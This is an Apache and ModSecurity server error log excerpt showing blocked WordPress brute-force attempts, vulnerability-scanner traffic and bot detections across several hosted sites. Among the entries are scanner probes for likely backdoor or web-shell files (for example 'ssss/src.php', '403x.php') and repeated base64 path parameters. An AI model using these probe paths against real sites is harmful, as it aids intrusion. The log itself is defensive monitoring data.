https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:25:22.457622 2026] [access_compat:error] [pid 715691:tid 715731] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:25:22.694631 2026] [security2:error] [pid 715691:tid 715797] [remote 119.195.102.159:35464] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 159.102.195.119.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai308rV-dFiaX9AtWiQ2HgABX1Y"] [Sat Jun 13 18:25:22.820575 2026] [access_compat:error] [pid 715691:tid 715795] [remote 57.141.14.86:24792] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:22.820874 2026] [access_compat:error] [pid 715691:tid 715795] [remote 57.141.14.86:24792] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:22.832413 2026] [access_compat:error] [pid 715691:tid 715767] [remote 57.141.14.97:53028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:22.832718 2026] [access_compat:error] [pid 715691:tid 715767] [remote 57.141.14.97:53028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:23.009978 2026] [access_compat:error] [pid 715691:tid 715785] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:25:23.010426 2026] [access_compat:error] [pid 715691:tid 715785] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:25:23.038347 2026] [security2:error] [pid 715691:tid 715744] [remote 17.241.219.157:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 157.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3087V-dFiaX9AtWiQ2KwABMCI"] [Sat Jun 13 18:25:23.105239 2026] [security2:error] [pid 715691:tid 715735] [remote 195.142.108.235:41624] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 235.108.142.195.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "refrigeratedrentalsolutions.com.au"] [uri "/wp-login.php"] [unique_id "ai3087V-dFiaX9AtWiQ2LwABQhk"], referer: https://refrigeratedrentalsolutions.com.au/wp-login.php [Sat Jun 13 18:25:23.230376 2026] [security2:error] [pid 715691:tid 715715] [remote 17.22.245.208:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 208.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3087V-dFiaX9AtWiQ2MwABIwU"] [Sat Jun 13 18:25:23.340480 2026] [access_compat:error] [pid 715691:tid 715933] [client 185.199.157.19:41993] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-includes/assets/index.php, referer: http://krosscorp.us/wp-includes/assets/ [Sat Jun 13 18:25:23.340901 2026] [access_compat:error] [pid 715691:tid 715933] [client 185.199.157.19:41993] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-includes/assets/index.phtml, referer: http://krosscorp.us/wp-includes/assets/ [Sat Jun 13 18:25:23.342304 2026] [access_compat:error] [pid 715691:tid 715933] [client 185.199.157.19:41993] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-includes/assets/index.php5, referer: http://krosscorp.us/wp-includes/assets/ [Sat Jun 13 18:25:23.374824 2026] [access_compat:error] [pid 756778:tid 756802] [remote 57.141.14.18:63438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:23.375280 2026] [access_compat:error] [pid 756778:tid 756802] [remote 57.141.14.18:63438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:23.528519 2026] [access_compat:error] [pid 715691:tid 715825] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:25:23.528825 2026] [access_compat:error] [pid 715691:tid 715825] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:25:23.531941 2026] [security2:error] [pid 715691:tid 715784] [remote 17.241.227.244:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 244.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3087V-dFiaX9AtWiQ2PQABQUk"] [Sat Jun 13 18:25:23.649958 2026] [security2:error] [pid 756778:tid 756987] [client 185.199.157.18:59911] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 18.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-content/themes/admin.php"] [unique_id "ai3085PtHOFP9IG6xxUsYQAAANQ"] [Sat Jun 13 18:25:23.844908 2026] [access_compat:error] [pid 715691:tid 715802] [remote 57.141.14.27:29982] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:23.845207 2026] [access_compat:error] [pid 715691:tid 715802] [remote 57.141.14.27:29982] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:23.969288 2026] [access_compat:error] [pid 715691:tid 715712] [remote 57.141.14.36:47512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:23.969726 2026] [access_compat:error] [pid 715691:tid 715712] [remote 57.141.14.36:47512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:24.049986 2026] [access_compat:error] [pid 715691:tid 715788] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9ldmVudDIvZGV2aWNl [Sat Jun 13 18:25:24.056508 2026] [access_compat:error] [pid 715691:tid 715788] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9ldmVudDIvZGV2aWNl [Sat Jun 13 18:25:24.254094 2026] [security2:error] [pid 715691:tid 715919] [client 185.199.157.19:49631] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 19.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-content/plugins/enhanced-text-widget/analyst/src/403x.php"] [unique_id "ai309LV-dFiaX9AtWiQ2VQAAAVg"] [Sat Jun 13 18:25:24.375687 2026] [security2:error] [pid 715691:tid 715725] [remote 17.22.237.54:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai309LV-dFiaX9AtWiQ2YQABNQ8"] [Sat Jun 13 18:25:24.378831 2026] [access_compat:error] [pid 756778:tid 756813] [remote 57.141.14.24:64416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:24.379102 2026] [access_compat:error] [pid 756778:tid 756813] [remote 57.141.14.24:64416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:24.544136 2026] [access_compat:error] [pid 715691:tid 715747] [remote 57.141.14.45:30638] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:24.544595 2026] [access_compat:error] [pid 715691:tid 715747] [remote 57.141.14.45:30638] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:24.548005 2026] [access_compat:error] [pid 715691:tid 715770] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NS9wb3dlcg== [Sat Jun 13 18:25:24.548396 2026] [access_compat:error] [pid 715691:tid 715770] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NS9wb3dlcg== [Sat Jun 13 18:25:24.763230 2026] [security2:error] [pid 715691:tid 715769] [remote 17.246.15.202:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 202.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai309LV-dFiaX9AtWiQ2cQABajo"] [Sat Jun 13 18:25:24.766833 2026] [mime:warn] [pid 715691:tid 715826] AH01602: Cannot get media parameter. [Sat Jun 13 18:25:24.952038 2026] [access_compat:error] [pid 756778:tid 756823] [remote 57.141.14.89:22232] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:24.952525 2026] [access_compat:error] [pid 756778:tid 756823] [remote 57.141.14.89:22232] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:24.990438 2026] [access_compat:error] [pid 756778:tid 756824] [remote 57.141.14.60:34818] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:24.990920 2026] [access_compat:error] [pid 756778:tid 756824] [remote 57.141.14.60:34818] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:25.066582 2026] [access_compat:error] [pid 715691:tid 715807] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:25:25.067037 2026] [access_compat:error] [pid 715691:tid 715807] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:25:25.169365 2026] [security2:error] [pid 715691:tid 715927] [client 74.7.230.7:54394] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:user-agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "301"] [hostname "www.smartsafetycenter.com"] [uri "/robots.txt"] [unique_id "ai309bV-dFiaX9AtWiQ2fwAAAWA"] [Sat Jun 13 18:25:25.229580 2026] [access_compat:error] [pid 715691:tid 715853] [client 185.199.157.19:41993] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-admin/includes/index.php, referer: http://krosscorp.us/wp-admin/includes/ [Sat Jun 13 18:25:25.231370 2026] [access_compat:error] [pid 715691:tid 715853] [client 185.199.157.19:41993] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-admin/includes/index.phtml, referer: http://krosscorp.us/wp-admin/includes/ [Sat Jun 13 18:25:25.239637 2026] [access_compat:error] [pid 715691:tid 715853] [client 185.199.157.19:41993] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-admin/includes/index.php5, referer: http://krosscorp.us/wp-admin/includes/ [Sat Jun 13 18:25:25.239899 2026] [security2:error] [pid 715691:tid 715810] [remote 119.195.102.159:35464] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 159.102.195.119.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai309bV-dFiaX9AtWiQ2ggABS2M"], referer: https://gkmasterson.com/wp-login.php [Sat Jun 13 18:25:25.343806 2026] [security2:error] [pid 715691:tid 715753] [remote 216.73.216.182:59569] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai309bV-dFiaX9AtWiQ2iAABECs"] [Sat Jun 13 18:25:25.372167 2026] [security2:error] [pid 715691:tid 715786] [remote 17.22.245.183:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 183.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai309bV-dFiaX9AtWiQ2iQABXUs"] [Sat Jun 13 18:25:25.487935 2026] [security2:error] [pid 715691:tid 715859] [client 74.7.230.7:54680] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "www.smartsafetycenter.com"] [uri "/index.php"] [unique_id "ai309bV-dFiaX9AtWiQ2hgABHGk"], referer: http://www.smartsafetycenter.com/robots.txt [Sat Jun 13 18:25:25.553024 2026] [security2:error] [pid 756778:tid 756928] [client 185.199.157.19:60891] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 19.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-content/plugins/ssss/src.php"] [unique_id "ai309ZPtHOFP9IG6xxUsfwAAAJk"] [Sat Jun 13 18:25:25.567154 2026] [access_compat:error] [pid 715691:tid 715733] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZQ== [Sat Jun 13 18:25:25.567428 2026] [access_compat:error] [pid 715691:tid 715733] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 